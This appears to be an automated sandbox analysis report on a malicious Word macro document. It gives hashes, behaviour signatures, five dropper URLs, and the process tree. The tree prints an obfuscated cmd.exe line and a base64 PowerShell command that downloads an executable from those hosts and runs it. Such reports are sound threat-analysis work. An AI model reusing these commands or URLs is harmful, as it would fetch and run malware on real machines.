Analysis

  • max time kernel
    118s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    20-05-2024 18:41

General

  • Target

    609b32adfefe0335329d641e591ca1ed_JaffaCakes118.doc

  • Size

    80KB

  • MD5

    609b32adfefe0335329d641e591ca1ed

  • SHA1

    fcb99089f301a2e0c494519d0e21cf5b0f2d26b3

  • SHA256

    dcd7feb1774d994996fb3822536bf6a65b183aec087c735cac707c666afb8b54

  • SHA512

    1496bd1c73b89e207d84f766d1f9c3459df4973fae5e64633a58cf0f6215ea1a0641e7b4db3a4399d3af7a436fc324f8f80a46400a5f3c01a67a94bf61299e16

  • SSDEEP

    768:1pJcaUitGAlmrJpmxlzC+w99NBy+1pjpmpX+nTAlLouQwe5+n4vTvy3L:1ptJlmrJpmxlRw99NBy+PaX+nOK44A

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://opendata.safuture.ca/94

exe.dropper

http://autobritt.apptitude.ch/5XtLax

exe.dropper

http://s3.techsysmedia-dz.com/SnQ

exe.dropper

http://devground.zare.com/1aLfE7y

exe.dropper

http://tania.ad99.it/VphwoU

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\609b32adfefe0335329d641e591ca1ed_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1596
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /v /c " ^S^e^T ^ ^ ^hd^se=^AACA^gA^AIA^AC^AgA^AI^A^ACA^g^A^AI^AAC^AgAA^IAACA^g^A^A^IAACAgA^Qf^A^0HA7BAa^A^M^G^A^0^BQ^Y^A^MGA^9^BwOAs^G^A^hBQ^ZA^IH^AiB^wO^AM^H^Aw^BQQAQC^A^g^AQb^A^UG^A^0BQ^S^A^0C^AlB^wa^A8GA2^Bg^bAk^E^A^7A^QK^A^MH^A^w^BQQAQC^A^g^AALA^Q^E^AK^B^Q^Y^A^QC^Ao^A^QZ^A^wGA^pBgR^A^QG^A^h^B^w^bA^w^G^Au^Bw^d^A^8G^A^EB^gL^AME^A^u^BQS^A^QC^A7B^Q^e^A^IH^A^0BweAkCA1^B^w^d^A^wE^A^kA^A^I^A4G^A^pB^AI^A^QE^A^KB^QYAQCAo^A^A^a^A^M^G^A^h^B^Q^ZAIH^AvB^gZ^AsD^AnA^QZA^g^H^AlBg^LAcC^Ar^AgaAE^EAh^BA^JAsCAnAAXAcCArA^wY^A^kG^AsB^g^YA^UH^A^wB^gOA^YHAuB^QZ^A^QC^A9A^wcAAHAB^BAJ^AsD^AnAQ^OAIDA0A^wJA^AC^A9A^AI^A^oG^A^B^B^Q^Y^AQCA7^AQKAcCAAB^wJAgCA0BQa^A^w^GAw^B^wU^A4CAn^AQVA8GA3BAa^AA^HAWBwL^AQ^H^Ap^BgL^A^kDA^5^A^A^Z^A^EG^AuAQYAk^G^A^uB^Q^YA^Q^H^AvAw^L^A^oDA^w^BAd^A^QHAoBAQ^AkHA3A^QR^AYGAM^BQY^AE^DAv^A^Q^b^A^8G^A^jBg^L^A^U^GAy^BQ^Y^AoHA^uAA^ZA^4G^A1^B^wb^AI^H^An^Bg^dA^UG^A^kB^w^L^A^8CA6^AAcA^QHA0^BA^a^A^A^E^AR^BgbA^M^F^Av^A^Q^bA8^G^A^j^B^gL^Ao^HAkBQL^AE^G^A^p^BAZ^A^U^G^AtBwc^A^kHAzBAa^AMGAl^B^Ad^A4CA^z^A^wc^A8CAvAgOAAHA0^BAd^A^g^GA^ABA^eA^E^GAM^B^A^d^AgF^A^1^Aw^LAgGAj^Bg^L^AUGA^kBQ^d^A^Q^H^ApBAdA^AHAwB^Q^YA^4CA0B^A^d^A^kGA^yB^g^Y^A8GA^0BQd^AE^GAvA^wLAo^DAwB^Ad^A^Q^H^AoBAQ^A^QD^A5Aw^L^A^EG^Aj^B^gLA^U^GA^y^B^Q^dAQ^HA^1BgZ^A^E^GA^zB^gL^A^EG^A^0B^QYAQ^G^AuB^QZ^AAH^Av^B^w^L^A^8C^A^6AAcA^QH^A0^BAa^AcC^A9^A^Q^dAcH^A^M^B^A^JAsDA0Bg^b^A^U^G^A^pB^AbAMEAiBQZAc^F^A^uA^A^d^AUGA^OB^A^IA^QH^Aj^BQZAoG^Ai^B^w^bA^0CA3^B^QZ^A4G^A9^AwQ^A4^GAJ^BA^J^ ^e- ^ll^eh^sre^w^op&& ^fOr /^l %^T ^In (^ ^98^1 ^ ^,^ ^-1^ ^ ^,^ ^0 ^ ^ ^ ) D^O ^se^T X^H^Qr=!X^H^Qr!!^hd^se:~ %^T, 1!& ^IF %^T L^E^q ^0 C^a^l^l %X^H^Qr:*^XH^Qr^!=%"
      2⤵
      • Process spawned unexpected child process
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:2556
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -e JABJAG4AQwA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABMAHcAdQA9ACcAaAB0AHQAcAA6AC8ALwBvAHAAZQBuAGQAYQB0AGEALgBzAGEAZgB1AHQAdQByAGUALgBjAGEALwA5ADQAQABoAHQAdABwADoALwAvAGEAdQB0AG8AYgByAGkAdAB0AC4AYQBwAHAAdABpAHQAdQBkAGUALgBjAGgALwA1AFgAdABMAGEAeABAAGgAdAB0AHAAOgAvAC8AcwAzAC4AdABlAGMAaABzAHkAcwBtAGUAZABpAGEALQBkAHoALgBjAG8AbQAvAFMAbgBRAEAAaAB0AHQAcAA6AC8ALwBkAGUAdgBnAHIAbwB1AG4AZAAuAHoAYQByAGUALgBjAG8AbQAvADEAYQBMAGYARQA3AHkAQABoAHQAdABwADoALwAvAHQAYQBuAGkAYQAuAGEAZAA5ADkALgBpAHQALwBWAHAAaAB3AG8AVQAnAC4AUwBwAGwAaQB0ACgAJwBAACcAKQA7ACQAYQBBAGoAIAA9ACAAJwA0ADIAOQAnADsAJABBAHAAcwA9ACQAZQBuAHYAOgBwAHUAYgBsAGkAYwArACcAXAAnACsAJABhAEEAagArACcALgBlAHgAZQAnADsAZgBvAHIAZQBhAGMAaAAoACQAYQBKAEQAIABpAG4AIAAkAEwAdwB1ACkAewB0AHIAeQB7ACQASQBuAEMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAYQBKAEQALAAgACQAQQBwAHMAKQA7AEkAbgB2AG8AawBlAC0ASQB0AGUAbQAgACQAQQBwAHMAOwBiAHIAZQBhAGsAOwB9AGMAYQB0AGMAaAB7AH0AfQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAA
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1400
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2748

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      5eb083ebcfd509531cfc841b883260b2

      SHA1

      83bbb712f1fc34b8230697334081b0eb309be3a2

      SHA256

      8843d9783d0768e9fe99c1ae485884fd83dbc077d5e9069ec95283c8be0195a3

      SHA512

      a9c7eb96f79d6a63d29fe94ba780b770f18e0123468c82e17d4899a74298e5e1708bb9461778c81c0fd52859dd5e9555dc4fce5fe2e323571a3cabc419f18e12

    • memory/1596-47-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/1596-81-0x000000007116D000-0x0000000071178000-memory.dmp

      Filesize

      44KB

    • memory/1596-15-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/1596-8-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/1596-7-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/1596-9-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/1596-6-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/1596-11-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/1596-12-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/1596-10-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/1596-13-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/1596-14-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/1596-5-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/1596-2-0x000000007116D000-0x0000000071178000-memory.dmp

      Filesize

      44KB

    • memory/1596-64-0x000000007116D000-0x0000000071178000-memory.dmp

      Filesize

      44KB

    • memory/1596-39-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/1596-55-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/1596-54-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/1596-53-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/1596-28-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/1596-27-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/1596-34-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/1596-65-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/1596-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1596-80-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1596-82-0x00000000004D0000-0x00000000005D0000-memory.dmp

      Filesize

      1024KB

    • memory/1596-0-0x000000002F1A1000-0x000000002F1A2000-memory.dmp

      Filesize

      4KB